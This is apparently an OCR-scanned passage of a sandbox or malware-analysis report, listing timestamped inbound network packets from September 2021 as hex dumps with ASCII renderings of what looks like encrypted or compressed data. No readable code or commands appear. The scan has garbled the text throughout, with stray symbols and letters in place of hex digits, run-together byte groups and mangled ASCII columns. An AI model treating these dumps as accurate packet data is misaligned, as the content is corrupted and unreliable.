2021-09-13 23:07:18 UTC 80 IN Data Raw: b9 70 60 df 70 d6 17 de bc cO 6¢ 2¢c 23 63 25 05 ae d8 74 37 c0 0d 9b 31 fb e7 86 60 24 d4 f4 81 20 27 0 2a
08 a9 f2 8f Of cf 3e b0 50 09 52 f8 f2 ee ef d4 4c 49 ef 7c 3d b1 18 a5 3a ba cc 8c a9 c0 37 d0 40 ab 2b 48 f6 78 2c 95 cb
b9 1b a0 47 40 e6 Oa 2e 7f c4 f4 8a ca 4b 61 f2 3c 5f 83 45 45 78 ab 1d 86 ab d6 40 e0 1d ba 33 80 cb 3b 1d 6b 4c a9 c7
d2 82 66 3e 71 56 3b 5¢ 87 ac 33 09 da Oc 9b 78 75 f3 3a 6e 24 87 3d 50 19 0f 2c e3 35 20 a2 65 e7 4f 1c 6¢ al 36 5d 5b
c1 3b af 63 aa 5f 94 5b ef 80 47 6e ef 6d 09 82 19 ba 90 eb 32 91 el c9 al 2b 3d 9f €3 28 19 a6 43 4c c2 0f a4 b8 d0 a9
ee 16 23 e5 55 ff cc df a1 80 3f 7a b9 65 €5 17 11 7b ac 17 fe 31 9b 17 2d 4e be 4b 9f 9d 15 3d 25 8c €9 ef 12 10 c0 a8 b4
cf ea bl 9d 07 ec e5 dd e8 68 7c b6 7d 39 19 15 50
Data Ascii: p'pl,#c%t71°$ *>PRLI|=:7@+Hx,G@.Ka<_EEx@3;kLf>qV;\3xu:n$=P,5 eOI6][;c_[Gnm2+=(CL#U?ze{l-
NK=%h[}9P

2021-09-13 23:07:18 UTC 81 IN Data Raw: f8 18 bb 24 9b 75 bc 7c 00 18 33 97 6e 87 e7 87 ed 11 87 dc 99 24 4e d8 86 al 48 56 48 77 5¢ 81 97 0a 53 17
e9c01bal 7475 77 72 ba ed 3e e5 fc 73 3a 9d a5 8a 6¢ d5 7f 00 84 58 9a 60 29 47 99 d7 5a 93 79 94 e7 5e a6 e d6 d9
95 8e de ba ac df 06 ca 75 6d e3 b5 e0 52 8a 66 4a 81 Oe fc ad 8b c5 24 2f fc Oa d1 5f e8 9b 17 3f c8 6d c1 4d df 0d 5b 37
Oc f4 19 dc 15 26 a3 37 13 7b e3 Oc 6a €8 0d 56 al 4f 40 00 87 7a eb 46 33 b2 f1 b4 5¢c 59 al 62 c2 b4 59 43 38 1f a6 3
26 8a Of dc 87 34 f7 0a 7e 60 ad c9 98 d3 6a dO f5 37 3d b7 b4 4c d0 22 63 54 5¢ 07 d3 18 6b e2 18 37 22 cd 94 be 53 0d
92 e7 €9 01 39 60 b6 f2 3a ce 15 d0 96 Ob 08 fa cc 03 70 94 cf fd 09 cd c3 3b 9a 73 ff 4f bb 91 33 65 29 d6 7a 28 0a 94 {3
47 a6 bd 81 e4 c8 cf a9 ce ff a2 7c c4 30 ee 0d 51
Data Ascii: $u|3n$NHVHW\Stuwr>s:1X")GZy umRfI$/_?mM[7&7{jVO@zF3\YbYC8&4~j7=L"cT\k7"S9":p;sO3e)z(G|0Q

2021-09-13 23:07:18 UTC 82 IN Data Raw: e0 71 e3 c4 c6 b8 6d 1f ab 1f bd b8 90 7b 6d a8 ef 66 35 60 57 9e 08 d4 1c f6 35 33 ¢7 45 18 53 ac f9 29 b4 eb
68 04 68 9a eb ba 20 55 21 ae 6f f0 f2 61 02 f2 e7 9d 83 b3 f1 25 2c 32 5a 1e 42 0d c3 al 39 dd 96 27 4d 3f 83 c6 cd 1c 23
34 e4 ec 86 85 15 f8 8e f9 al be f8 ec 73 7a 7c 02 2f 35 ab 92 89 5d cb 9f ac 14 94 4a b2 c4 bb 97 1f 8b 06 fO db 4c 12 17
d5 63 d7 ae 16 12 58 b7 7b ce f4 c4 fa 99 7b 21 31 7d ec 5b 03 07 cc 67 e7 3c 3 13 86 41 46 f1 dd 20 69 9d e2 13 db 7b
9c bd 69 1f 31 ff 99 8f 4c a3 81 b6 16 5f d3 4a 4c 6d 96 06 46 b5 cc 8f ef da 13 fd 26 7b 17 e0 a2 77 45 8c dO 16 Oa fb b6
65 36 1f cb 30 d6 2f 29 45 6b 14 f8 c0 52 17 07 47 93 cb 8b a8 2f 80 87 84 83 05 99 38 96 89 9b 89 b9 ef f9 55 b4 ca 60 ca
bd d5 c1 34 1f a6 78 6b bf 4f 2b 53 56 ee
Data Ascii: gm{mf5 " W53ES)hh Uloa%,2ZB9'M?#4sz|/5]ILcX{{!1}[g<AF i{ilL_JLmF&{wEe60/)EKRG/8U 4xkO+SV

2021-09-13 23:07:18 UTC 83 IN Data Raw: 06 24 c2 cf 5f ac 67 44 ef dd da c1 f4 99 6e 1a f9 2e bd 64 d3 e2 ec 11 2e 5¢ 8d 4a cb €3 42 69 b4 b8 5f bl 42
b1 65 e0 76 68 39 78 d3 34 c4 el 1a ad 02 51 b5 b5 64 91 f2 2c 57 da be cb a5 4a fe 96 ab c7 48 62 91 8b ca b3 ff 8¢c a6
29 0f 08 a7 3d e7 ec 61 05 e4 7b 7a 05 e2 70 02 d8 34 8f ca 73 87 88 7d 92 8d aa 30 al d3 7c eb 74 db 22 6a Ob 98 fa 1e
28 bf 2b 4d 5c 95 de el 5d 2b ac 53 ef 8d e7 45 73 1b 71 76 f1 0f 98 b0 fb d9 73 1d 13 fb b1 55 66 60 b1 65 b0 8d 30 04
63 46 ac f1 f9 64 4c e3 dc al ca 68 20 72 85 04 db af 95 90 ca 69 51 99 89 11 50 75 €6 70 73 cO cf 95 ea 4f e2 ac 30 e0
7329 3b 1e 08 f6 f2 59 cf 10 1a 60 93 dc 68 54 0f 7d 39 58 Oe c7 e6 79 bc 8b 8d 93 eb 41 32 11 ¢6 21 9b 61 f8 26 77 2¢
12 ef dO 04 3f fe 16 ac 71 a3 15 c9 bb f4 57 b9 88 e3
Data Ascii: $_gDn.d.\JBi_Bevh9x4Qd,WJHb)=a{zp4s}O0|t"j(+M\]+SEsqvsUf eOcFdLh riQPupsO0s);Y hT}9XyA2!a&w,?qW

2021-09-13 23:07:18 UTC 84 IN Data Raw: 50 2a 13 b4 0d e7 65 a2 f0 bc ef bc Ob 5f 3e 61 cd 77 ea 2e 04 bb c1 49 cd b3 3a 44 fc 68 50 5d 91 28 b1 e0 4d
e5 eb c8 c4 ab 78 b8 a4 df 65 0f 2c 33 b8 5a 99 d2 c4 67 1b 69 d8 3e f8 00 a2 38 84 29 99 f2 23 1e b6 8¢ 71 eb 9e 26 f4
a9 89 d2 a4 85 e5 02 50 3a 4d 52 26 43 9c 57 c2 eb 6b 46 1f 60 c5 04 10 0f 02 13 46 al cf cc 8e 9b 3d bc 72 1f af b9 c3
0d 8c 2d ba 64 35 c1 10 0a 28 92 7d 21 36 d4 09 99 15 e2 65 88 53 06 bb 3e 89 b9 a2 28 cc 55 43 35 e6 94 2¢ 9c €9 19
19 ce 5e 13 cb 0d a5 88 57 d6 16 1c c2 ee bf f9 80 c7 80 21 4e 12 18 f3 a5 73 df 09 cd e3 ee 07 ed b6 18 ab 02 32 99 22
2aa9 64 1a 13 79 c4 4a bl 59 f1 57 83 c2 56 ec 1e a0 10 51 6b 5d 09 de 06 c8 a4 08 59 Oe 29 87 71 bc d7 74 38 9a ef 13
92 fc 40 33 6e 63 3f 99 80 65 el c5 6b be a6 33 43 f8 4c
Data Ascii: P*e_>aw.l:DhP](Mxe,3Zgi>8)#q&P:MR&CWKF F=r-d5(}!6eS>(UC5,"WINs2"*dyJYWVQK]Y)qt8 @3nc?ek3CL

2021-09-13 23:07:18 UTC 86 IN Data Raw: 1le 58 4f 8a 21 ec €9 19 29 ce ca df eb b7 59 d8 3e 95 3e fb a4 4d 6e fa e6 15 fb fa a2 Ob 5d bb d8 a0 43 c5 6f
6c €0 07 be 5f 4d 4d 29 f0 a9 5f d6 9b 77 86 50 9c 78 fc 50 6a 33 57 bl 4d d4 10 93 87 a2 45 89 ea 1b d7 85 17 86 cf e3
71 e7 62 a0 e3 8¢ b8 0d 22 d2 7d 39 2a a8 1d d6 93 a3 ff ff 40 da e0 24 05 62 66 8f a5 fe 9a d8 59 94 14 d3 e4 4b 31 fe fe
cd 94 63 17 a5 65 11 92 75 4c a8 84 e8 07 b8 8d 99 fc fe e5 €6 98 1b 10 51 e4 Oc e9 6e 77 ef f4 9d a8 4d 5b 1d c8 89 69
58 46 8d 66 fd 70 45 b6 56 53 20 4d 37 80 5b 18 62 fO e6 8¢ 34 fb 5e e0 e3 42 81 5f 65 b6 3c 1b 5a d8 97 fe b2 43 66 10
b2 e0 c6 4c 57 85 ab 18 38 6¢ 65 6d 29 75 e7 51 7f 9d 44 30 af 9c 91 25 b0 21 f9 2d 04 a3 cc 61 f4 9f 17 08 4f 81 e4 d1 a6
67 3b de b6 d3 b4 74 da 26 eb cb 4a f2 74 b4 de
Data Ascii: XO!)Y>>Mn]Col_MM)_wPxPj3WMEqb"}9*@$bfYK1ceuLQnwM[iXFfpEVS M7[b4"B_e<ZCfLW8lem)uQD0%!-
a0g;t&Jt

2021-09-13 23:07:18 UTC 87 IN Data Raw: 10 a2 d1 03 13 8a 1f d7 1e 62 f6 3d 64 b3 c1 f6 3f 2f ae 39 9d ab ef 5b 94 94 9¢ 7f 23 d7 36 f3 al 37 91 63 e2
6b 6d 9f c2 4b 7f ff a2 02 80 80 d6 3c 59 10 07 5a 99 46 17 cd 43 34 9c 2b f1 c6 ab ba f2 65 39 e2 cc a7 cd 7e ad c1 el bd
83 fa 04 85 d0 03 a6 f2 2b 4d fd bb 2d el 56 d5 37 d8 e0 €0 c6 64 0d e7 84 d4 17 19 f6 9d b4 5e ¢3 8¢ 2d b9 Oc cd 1c 02
96 d3 4d 88 04 5a 29 2b 88 98 7f f2 6¢ ab 3e d3 a2 cd 42 60 ch 12 5e 15 79 ac 66 f3 66 5d f6 3¢ 4d e8 c0 da fb f3 a2 7a 76
99 a3 e2 76 84 4c d2 81 d9 f8 3a f8 3b Oe 92 69 28 4c 56 a7 51 fc 7b Ob dc 20 82 40 b2 3d b8 30 76 62 e4 72 c8 49 d2 e6
91 94 8d 03 60 b0 00 36 14 85 40 e2 8e cd 7b 5e 58 28 36 0a cb 55 52 7d 73 9f 0d 67 5e 94 8a 47 d6 67 a5 2f e2 1a 61 91
b4 85 d5 3c 5a 84 bf a5 3a 7a 21 0b 6e 1f a9 d4
Data Ascii: b=d?/9[#67ckmK<YZFC4+e9~+M-V7d"-MZ)+I>B yffl<MzvvL:;i(LVQ{ @=0vbrl'6 @{"X(6UR}sg"Gg/a<Z:z!n

2021-09-13 23:07:18 UTC 88 IN Data Raw: ee 9f aa c1 35 4d f9 ¢5 ¢7 fb €5 e6 98 13 dc 50 e4 Oc 95 70 3d 96 e7 62 23 00 05 2a de 8e a7 05 2a 46 e7 96
06 9c ee b1 39 €9 b0 c8 0d 95 6f 2d e8 16 Oc el 42 ec d7 4 f8 ¢9 90 65 ca be €9 52 cc 8b 8d 44 3b d3 9b 61 64 dO d8 96
4e 2e f7 3f 91 ef f0 57 58 87 f4 38 ea f6 6¢ 92 61 af 32 ¢7 1c 53 39 81 €6 61 8¢ cb 54 6b 71 01 18 f2 60 a8 af eb 60 f6 1d
2018 08 df 79 ac 43 11 ff 46 50 c9 aa fc 4e 14 ba 2e 2a 01 ec b0 fc d7 30 52 34 02 7b db c4 2c e7 2f 6f ef 70 ea eb 3a le
06 ba 79 3d 98 2c 25 0a d9 94 2f f5 64 b4 61 66 b4 a2 b1 b7 89 eb 16 ed 06 62 7d 82 00 07 91 b8 33 60 f5 4c 04 0 5¢c cb
14 d8 94 €9 4e ab d6 8b 94 93 41 c4 1b d9 74 dc 77 18 95 a3 96 16 af 27 22 ae d0 34 42 5b 57 71 b8 f0 5d 24 64 c9 83 42
a2 2f 48 e5 ea 8f 10 b7 01 4e d5 dO 46 96 de 5e c7
Data Ascii: SMPp=b#*F90-BeRD;adN.?WX8la2S9aTkq"" yCFPN.*0R4{,/op:y=,%/dafb}3 L\NAtw"4B[Wq]$dB/HNF*

2021-09-13 23:07:18 UTC 89 IN Data Raw: b4 7f 8e 26 70 e4 06 16 1b 6d 60 1f 16 4b 02 86 d3 Oc eb 72 89 6d 3a 89 ef d8 44 68 ed 65 72 Ob Ob a3 e2 d9
ef 3f 4f 2f 76 9d Of 4d 3b Oe ec af 34 a4 72 6e ae 8e 75 99 dc ab 69 a6 f8 dd 15 cc Oc d2 d9 4b c8 e6 fc e2 aa 5b 9b fb ea
dc ff 8e 00 9f 3d 87 c2 el 7b 5e 1d 93 35 4f 37 7f 19 da 73 eb 8f 83 8¢ 83 55 33 df ab 24 a5 e3 cf 88 6e 4b 46 fe a2 53 4d
e0 5a c5 d4 6a cb fe f7 be 1d 72 9b 84 5f 64 3e 9e 96 8b 15 f1 f1 af 00 €0 bb 64 el 0a 07 cc d8 ce 52 f2 fe ba 4d ff Oa ad
1362 46 12 c9 51 d6 d8 fe ad 34 b2 4a 92 26 b4 5c a6 ba bl 89 df ab 96 86 d8 ce fe b3 91 de cc 0Ob 06 73 f3 2d 73 a7 Of
a9 36 2a e8 d2 9f c3 54 d1 4c 65 Oe e5 1e 54 cc 99 9e 31 bc db el 5d f1 6¢ 22 08 b4 47 e4 9c 5d 2¢c 9e b9 c0 67 14 b3 57
ce 96 ff 50 f4 ec 98 ef d7 bc Ob 20 56 f9 a4 6a
Data Ascii: &pm’ Krm:Dher?0/VM;4rmuiK[={"507sU3$nKFSMZjr_d>dRMbFQ4J&\s-s6*TLeT1]I"G],gWP Vj
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 91 IN Data Raw: 42 83 df b3 a0 63 be d5 f9 54 2a 39 ea 6¢ d8 ac c1 6 aa 66 c5 f1 dd 9d 04 c2 bb 66 11 3d de da ae 69 49 88 el
84 aa bc 3355 e2 05 d7 96 69 b9 80 34 3a c4 e4 89 8c e8 04 45 38 bd 08 6d 47 cc d3 7b c7 6b d7 99 34 eb c0 9e bc ba
08 df 8b 16 5d 9b 03 5e 25 c5 fb f5 4e 98 a3 e2 e8 53 21 6d 49 6a 6f b2 a6 c9 f6 6f 11 5¢ 81 95 fc 73 46 af ea 4¢c 23 dd 7b
10 ca 8b 61 1d 2e b9 15 28 5b 83 f4 29 00 e0 4d ec fd d7 84 63 e5 cc 16 d4 63 87 53 85 6f 00 ef 20 95 ea 56 al d7 b8 51
b7 1f e2 1f 97 b9 Ob 23 6a ec 4a 72 ad 57 0d c8 f2 Ob 7 ac 06 fe d1 be b2 e0 10 6e 00 c6 8e 45 15 70 96 14 1e 88 81 8 Ok
98 f3 cd fd 4b al c0 50 40 2b b2 8 e0 e2 1f d1 d7 de 7a 6b 5 48 14 1e 92 27 b5 70 4b 2f fc 17 5e 4d 63 {6 4b 11 ce ff f6 3f
27 ea 21 65 bc 35 f1 23 a8 e8 43 1a 97 ca 57
Data Ascii: BcT*9lff=il3Ui4:E8mG{k4]"%NS!mljoo\sFL#{a.([)MccSo VQ#IrWnEpKP@+zkH'pK/"McK?'le5#CW

2021-09-13 23:07:18 UTC 92 IN Data Raw: 2a fa 9a 3f b2 f2 3f 15 7a 43 57 af f0 25 80 e5 Oe d0 d9 b0 3d 46 37 e3 be b7 c6 df 09 73 37 f9 52 95 fd df d5 c9
ec 64 4d 47 74 a0 44 e5 6e 38 a6 d3 1f 81 dO cb 05 90 33 ea c3 ef 8f 3e ac 7a al 8d 9f 87 0d 79 fa 4e a9 44 f1 09 a0 2c
€3 20 de 4c dd 06 e5 1e 5a bf 52 6e 4b 2b cc d4 1c 5f 1e 16 12 8c fd c0 61 4c 94 93 36 4a 47 Oe de e7 dc 1d 2c f8 a9 be
1d f9 a2 12 6d 5e f4 98 d5 be 20 a5 9b d8 39 0a 33 70 1c 43 4d 7c 14 Oe 56 63 e3 cf al 41 30 cd 94 4d 93 cc 6f 28 fc 49
c4 92 92 9f 30 Of 9d 4b 9e d6 c4 93 ae 67 a4 a5 d2 62 a8 61 35 6a cf 50 11 0f 8b 59 a8 b7 b0 93 a3 ¢5 57 df 60 cd fe 72
92 65 a3 72 a5 a0 93 13 d6 60 €8 86 €9 ea 08 a6 a0 10 ff 99 3f 6f 96 49 8e 14 ea Of 7f 10 5d 8b 79 d7 88 47 c3 e 2b a0
50 e4 Oc 3a b0 b4 94 e7 16 7b c9 cd 9f 01 90 e0 05
Data Ascii: *??zCW%=F7s7RdMGtDn83>zyND, LZRnK+_alL6JG,m" 93pCM|VcAOMo(I0Kgba5jPYW rer ?ol]lyG+P:{

2021-09-13 23:07:18 UTC 93 IN Data Raw: b7 86 6b 93 f7 26 cfac d8 01 5b al cc 16 d4 ee 44 26 €9 1c 8b 38 20 3b 98 96 24 d1 74 28 f3 b1 96 28 6 8b
45 34 4e ba f8 49 d4 1c 05 f4 09 ¢3 5e 62 6d 41 48 51 c0 20 d9 al cb d6 al 00 2d 14 83 f3 b2 72 fa ef 8f 03 15 cd 79 c2 ac
7418 40 11 39 55 a7 3b 13 c1 cc 63 bf 2e f8 44 d0 52 Of dc 8f 48 4f 95 91 4d d3 17 4c 39 f8 ec 30 7c 8a 3a a2 14 48 10 Oe
40 f2 84 e0 9a c4 1a 6d 35 68 cf 44 58 a2 92 63 85 8d 95 3f 6f c8 ac 2d 4e 05 21 0d 60 aa 76 00 c9 8b b3 b2 54 4e 87 25
74 8f 3e ee 0d 13 9b a1 89 €9 d3 95 03 53 b6 cf 08 2¢c ce aa 72 04 a8 f2 ed ¢8 59 19 1a f6 da 8b 9d a3 92 10 22 5d b7 e4
11 c9 5¢ 46 3e 84 65 24 58 8c 3a b0 ce el c9 a4 e4 c7 08 Ob 81 60 76 3f 86 1b 0d 80 d7 af 4a a9 16 71 fc 60 1f 1a 4b 2a
6e 11 bb 14 00 89 84 f5 89 ef 4c d3 fd 33 2e 08 Oc
Data Ascii: k&[D&8 ;$t((E4NI"bmAHQ -ryt@9U;c.DRHOMLI0|:H@m5hDXc?0-N!'vTN%t>S,rY"|\F>e$X: v2Jq K*nL3.

2021-09-13 23:07:18 UTC 95 IN Data Raw: 46 d3 dd f6 95 ed 65 2f f8 41 a0 4d ad 2d Oe 56 63 e3 ab al 41 30 ba a2 4d 93 1f 87 a5 70 4d d4 de 98 a7 7c
€8 88 2c d4 02 cb 93 46 ba f2 70 98 10 1a 60 90 28 68 60 ab 7d 39 58 0d 1b e6 d5 e8 8b 8d f0 fa c4 da fa ac ab fO bc bb
9c f6 4f 59 3c 3a Oe 37 55 3e 77 1d 11 2a c9 18 3c 6¢ 1e 3a 54 b4 4d ad fb b2 ee dd b0 ff e5 94 5e 66 04 39 5e Oc 2d 14
35ab f0 1d 1c b2 f2 78 23 d6 el 05 49 d2 b0 al 11 e4 8 bf bc 3e 37 f4 f2 el 63 a4 38 8f {7 9b 89 ec d7 be ef b3 5f 65 b8
cc 6f b4 aa 2d f3 38 70 dc 6b 1d 7 93 08 69 3c f2 5d 45 02 ef 84 67 08 e2 59 f0 ea bc 51 e0 d3 98 79 0Of ec 8e 97 f5 e8 cc
93 07 43 b4 20 b3 Ob ab 0a ba 62 f3 d9 c0 61 a2 02 5d 2c 23 74 06 76 ce al ac ac Oe 47 4e 14 60 da b3 1d 61 4d 88 36 f4
95 ed ff f6 db 65 1a 93 20 6f 19 Of ea eb 5¢ 90 el
Data Ascii: Fe/AM-VcAOMpM|,Fp’(h"}9XOY<:7U>w*<|: TMAI-5x#1>7¢c8_eo-8pki<]EgYQyC ba],#tvGN aM6e o\

2021-09-13 23:07:18 UTC 96 IN Data Raw: 6e df 2b 59 a2 fd 64 6d 9f 49 96 6e 31 ed 02 27 7e dO 7f 9b aa 04 b2 f8 47 12 bb f9 50 b4 c7 d9 fb 54 3a 8f 07
64 25 ¢c5c9 04 16 79 cc e3 35 87 2a d8 bd 6a 20 f8 7f 63 6d 9d 62 cf f6 25 57 45 6a c9 63 4b 5e 43 4a 17 4c 74 a0 cd ef
13 2a 49 97 44 81 26 8f 1c 5b 92 eb 65 c5 Oc 76 be 96 25 8d c5 f1 eb d3 c8 ee ee 3d fe ca 44 7f fa 3b 87 53 87 13 72 49
a5 4c Ob f4 5b e6 df 41 99 7a 7e f1 a3 e2 76 c1 c8 Oe d7 61 68 2f de 3b a6 9e 69 60 c5 0a 03 d8 2c 42 a0 66 67 72 2b 75
250392 5c c5 e4 00 7abd d2 el 16 94 8d 03 a0 78 17 f9 44 f1 4f 82 a7 4f 7b 5e 24 5b 9c 9a 20 6d 8f da 73 9f 7f 02 27 bb
8a 47 f8 2a 92 c6 f4 b5 37 57 f1 3e 33 20 92 ad 6¢ 17 4d d5 6a 07 b2 e0 9a 57 06 ab 55 79 c9 f1 69 69 83 2d fd 78 da e4
68 97 62 d9 b0 46 Ob 16 aa 6a cc 61 23 75 45 45 f9
Data Ascii: n+YdmIn1'~GPT:d%y5* cmb%WEjcK "CJILt*ID&[ev%=D;SrIL[Az~vah/;i",Bfgr+u%\zxDOO{"$[ ms'G*7W>3
IMjWUyii-xhbFja#uEE

2021-09-13 23:07:18 UTC 97 IN Data Raw: 10 05 46 b8 93 e9 6a df 36 el 2f 5a 2e dc 1f 9¢c 29 e0 dd Oc ac 9e 28 e5 0a d3 1c 2d d7 al c8 de de dc 8f de
3475 8b 7c e2 b4 2c 27 1b 8e 3f 73 65 55 ef 84 15 45 fb e4 ff bf f6 c2 94 61 bb 79 07 ¢8 8e 97 f5 7e 61 30 3a 54 6b al cl
79 86 9f 57 10 a0 70 c2 94 Oc 4f d0 38 7d 48 74 85 b0 91 d3 44 9a 03 38 96 e1 91 7b ed 95 39 a4 d1 f0 22 d2 d0 3c 56 86
529 1a el ff f8 cO ac 3e 1b 37 92 Oc 8f 9b 9f 08 2d 7d 6b 22 48 18 cb 86 1b c1 55 ed 60 61 3e 08 04 b5 1d d7 bb ae cf 85
4 00 5a 26 ce Oe ff a2 34 eb 21 4f 85 c3 06 60 75 64 ef 7 fe 23 d9 ff 4a 14 7a 36 d7 24 41 d2 e9 7c 75 53 d5 bl fb 71 a0
91 ce 4b af 90 03 88 c5 e2 a3 05 71 13 51 a2 3a d6 25 a0 1le b9 69 d8 96 07 91 72 c5 e0 4d 9e 20 20 39 21 76 db 32 82
11 36 fe e0 97 c1 ef 20 2c b7 b2 96 ee 70 20 a3 bl
Data Ascii: Fj6/Z.)(-4ul|,"?seUEay~a0: TkyWpO8}HtD8{9"<V)>7-}k"HU a>Z&4!0 ud#Jz6$A|uSqKgQ:%irM 9!v26 ,p

2021-09-13 23:07:18 UTC 98 IN Data Raw: 45 55 c3 6e 29 3b 55 03 46 Oe b2 d3 4a 1a 12 5e 16 7f a0 6a 1c c7 d5 40 6a 18 ab 19 96 64 a6 ad 9a 1c bf c1
5b e8 aa €9 9c f3 2f 36 01 cd df 84 7c eb 94 d2 df 10 4d Oe e9 e6 03 1f fa 8f ca f0 11 5a d6 e2 05 00 97 4c f0 2d 24 47 3e
39 d3 991264 46 cd 25 00 99 19 d8 99 69 58 66 8d 4e cl 11 ff 89 41 43 75 ff 5¢c e5 92 a4 5b 4a 97 ca fO 9e 65 8f f4 2c 43
88 9f 45 91 ¢4 4a de 01 75 ac 45 e5 f2 25 5a 05 5a 96 49 e6 5d 36 bf 20 37 8d cf 2d 8f 8a 05 7b cc 97 71 b0 1c f5 2e 70
68 87 7b 4e e4 d7 43 58 39 4d f4 a2 ed e5 7b ef 68 aa 17 00 60 91 a5 92 11 la dd ce al de 09 Oe eb 87 d3 c6 a8 b3 5¢c Oa
5a 57 79 27 d8 99 4d a7 db Oc 1c 92 20 78 68 55 e5 35 48 6¢ 3b c8 ch 56 98 2¢ 25 0b 60 f5 2¢ €2 40 9c 68 96 b1 12 b0 b7
99 60 50 78 6d 56 c7 81 32 8c be 48 e4 5e b6 97 c4
Data Ascii: EUn);UFJN@]d[/6|MZL-$G>9dF%iXfNACuU\[Je, CEJUE%ZZI]6 7-{q.ph{NCXIM{h\ZWy'M xhU5HI;V,%",@
h*PxmV2H"

2021-09-13 23:07:18 UTC 99 IN Data Raw: 67 b7 25 69 ef 45 c4 3e 47 a9 ac 4f 23 1b 07 01 24 4f 03 d1 8a 30 7e Oe e4 6a ef 0f 62 f1 5a fc 50 b3 7d 5b c1
3c 25 b9 98 b1 03 b6 3e 41 b9 7 ff 50 4e 9e dc 06 b4 5c d4 c2 4b dc e9 68 bl 2e 51 b5 db ab b7 36 57 08 86 c3 eb 86 de
81 87 00 fb fe 4e a6 41 3e Oe 80 40 99 08 1b 6¢ 6¢ 1d 89 5e 06 02 81 02 5d 52 ac 81 41 43 e2 81 b0 5c 4f 68 d8 09 98 a2
10 7d 29 75 25 66 7e 43 b1 cd 04 4a fd d2 06 91 94 8d 03 a0 6¢ 17 8d 49 f1 4f 87 b7 ef 7a 5e 24 3e f0 dc 20 27 52 a8 e0
9f 0d 70 e7 6a d7 47 ef af d4 31 f4 13 99 79 f1 62 c1 52 10 4c 1b 5d c5 85 e7 a5 bb 85 ¢4 0a 07 ab 2b 70 4c 15 9f 96 f5 8¢
d5 b7 af 54 08 3f ac 24 4f e0 3e d5 8d d4 79 ee 1b cf 46 cf 74 13 94 a4 fb Oe 39 8d dd ff 70 63 b9 €3 97 dd 4c 2c e0 7c 4a
aa bf 6f 5f 3c 98 b9 4a 0d 3c ac be e2 0f f8 Ob
Data Ascii: g%IiE>GO#$00~jbZP}[<%>APN\Kh.Q6WNA>@II"|RAC\Oh})u%f~CJllOz*$> 'RpjG1ybRL]+pLT?$0O>yFt9pcL,
[Jo_<J<

2021-09-13 23:07:18 UTC 100 IN Data Raw: bd 00 70 a7 39 ae f2 8e 1d 30 20 48 49 1b f4 f2 c5 f4 38 85 15 e5 ce 78 cf 0d €5 68 30 27 34 bc bb 93 3c c2 d8
ee 4c 5a e0 4f 4d 06 6f aa ba 86 3e 68 8¢ f4 54 c5 eb bb 08 80 3d 2d 56 ce d7 d3 5a 04 b1 Oa e3 a0 cf 75 32 1c 89 c5 f3
ed f0 85 4e al aa 30 65 d7 43 d2 51 7d 6d 80 aa 7c a4 99 2c 17 f2 31 88 35 3a d7 24 54 2b b3 27 bc ¢4 8¢ ea 94 c7 5e 7f
0f 38 e6 8f 30 88 9¢c b3 53 91 81 8b 04 46 41 7b 14 1c a6 32 27 8a 9b 98 42 25 96 8c 5f ec ea 6a ea d1 15 62 a0 53 61 60
0919 08 57 71 7c 98 ce 4b 77 d2 8e f0 3a 1d d1 8e a0 64 86 c3 ac 26 32 1c 5¢ cb ea aa 24 6¢ f1 d1 87 97 ef ef 45 ce 5¢
2176 b3 94 c0 ee c6 {7 a8 e7 3e 10 6e db a0 5e bc Oe 4a 2¢ 07 89 2c Oe f3 4b 55 4f 1e be 8f eb 50 67 99 04 83 93 74 26
06 79 Oa dd 3a 27 d9 b4 a8 7c ce 9b b5 00 61 d8 5c c5
Data Ascii: p90 HI8xh0'4<LZOMo>hT=-VZu2N0eCQ}m|,15:$T+"80SFA{2'B%_jbSa Wq|Kw:d&2\$IE\Iv>n"J, KUOPgt&y:'|a\

2021-09-13 23:07:18 UTC 102 IN Data Raw: 99 c8 e6 ¢5 60 d3 7b 8d 71 12 08 33 8f eb 5e 58 ca 42 1d 84 8 63 dd 44 3f df 1b 18 60 70 66 f2 8f Of 77 ae 33
55 82 d2 4c ef 65 23 0d 3f 47 72 52 28 6 6e 1f 61 08 6a 3a 6d {7 be Oa d1 4a 2b 48 42 74 15 96 f5 a7 92 4c d7 fb 1f f5 a5
b3 23 46 79 bc 87 d0 99 c4 08 76 45 37 f1 ec e0 90 ab 4a ac 98 56 4d 47 00 7d 81 97 dd 38 dc e5 83 0a 8a d6 fc e4 3c 98
33079824 37 43 67 a0 7379 59 79 c7 94 54 bb fe 0f 60 94 63 81 45 2d ee c6 1la el d7 69 af 52 Oc a3 a9 5f a2 63 59 27
19 0d b8 3 8d 48 78 76 70 €3 d8 ea 32 1a 75 a5 24 26 7f ae 60 fb 1b 2b 9c Ob eb €7 20 91 56 70 c3 d2 e2 b6 55 9d b1 af
b4 fe 61 ¢8 13 4e 75 cd c7 4f 1f 94 d1 9c 4e 41 36 03 b7 85 31 db d9 4a f1 62 52 a6 01 20 15 a3 Oa af 8b 18 ae 15 fc 9f 2¢
60 dd 05 5f b5 01 90 97 ec 93 7 d1 ff al df 60
Data Ascii: {q3"XBcD? pfw3ULe#?GrR(naj:mJ+HBtL#FYyVE7IVMG}8<3$7CgsyYyT cE-iR_cY'Hxvp2u$& + VpUaNuONA
61JbR "
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 103 IN Data Raw: a7 07 e7 7c d3 ef 78 63 fO 24 30 03 c6 fb €9 14 2b 95 ea f7 dd 09 9d 5b 1a 98 d5 el Ob ce 7a 9f 65 f2 f9 aa 66
31 3ffd d7 5e 67 ca f3 6b f7 22 dd 48 85 fa b5 74 6b 8¢ 95 1c 18 64 65 a8 a4 20 0a 72 51 2e 22 d4 ac 78 b0 d4 8f 9e 81 7<
7d 5b ae 60 97 c4 ef 46 ba 1e be a8 1b 3e 21 d7 2f 26 a3 14 97 6f 5e 3b d8 51 c3 fc 27 20 17 65 85 Ob 50 16 b2 f8 24 9e
36 2b cd 3e e5 a5 1e 92 20 75 ed e8 al 81 0d 94 fb Ob 29 b4 5d bc al 8a 4d fc 4e b7 b4 52 3e be 2e 8a 8c 92 4b 37 e2 cc
d1 77 54 d8 95 57 ¢6 9¢c 09 b4 11 b2 84 08 c0 27 32 a9 11 8b 22 47 de 6a 17 37 15 55 8f 0d 95 cf 9e €7 32 b8 e0 d2 9d 68
€6 18 2d 08 9a 64 b5 €9 Oc aa 04 c0 3c d6 le f2 9f 4f a3 a9 39 d0 43 10 60 13 9b a7 14 2a 8e d8 91 6d 13 bc 0a 2c 2c 85
